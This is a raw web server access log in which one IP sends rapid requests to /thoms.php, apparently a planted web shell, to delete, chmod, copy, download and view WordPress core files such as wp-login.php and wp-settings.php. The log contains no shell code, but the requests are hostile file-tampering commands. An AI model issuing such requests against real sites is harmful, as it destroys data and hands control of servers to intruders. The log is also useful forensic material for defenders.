45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?del=wp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?chmod=wp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-load.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?chmod=wp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19195 "https://163.245.207.76/thoms.php?del=wp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?chmod=wp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?dl=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?del=locoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=mah.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19210 "https://163.245.207.76/thoms.php?dl=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?del=locoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?chmod=wp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?chmod=wp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-settings.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?del=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-trackback.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?del=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?chmod=xmlrpc.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?del=wp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19079 "https://163.245.207.76/thoms.php?del=wp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=locoy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?chmod=index.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?del=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?dl=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?del=wp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?del=wp-blog-header.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?del=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?del=wp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?del=wp-blog-header.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-cron.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-comments-post.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?dl=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19054 "https://163.245.207.76/thoms.php?dl=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?dl=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19213 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fmah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-config-sample.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?dl=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19204 "https://163.245.207.76/thoms.php?p=wordpress-6.6.2-zh_TW&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?dl=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Freadme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?chmod=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?del=license.txt&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?chmod=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?del=license.txt&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?del=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?del=wp-links-opml.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19201 "https://163.245.207.76/thoms.php?del=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19202 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?del=wp-links-opml.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?chmod=wp-settings.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?del=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?del=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19211 "https://163.245.207.76/thoms.php?chmod=wp-settings.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19203 "https://163.245.207.76/thoms.php?del=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
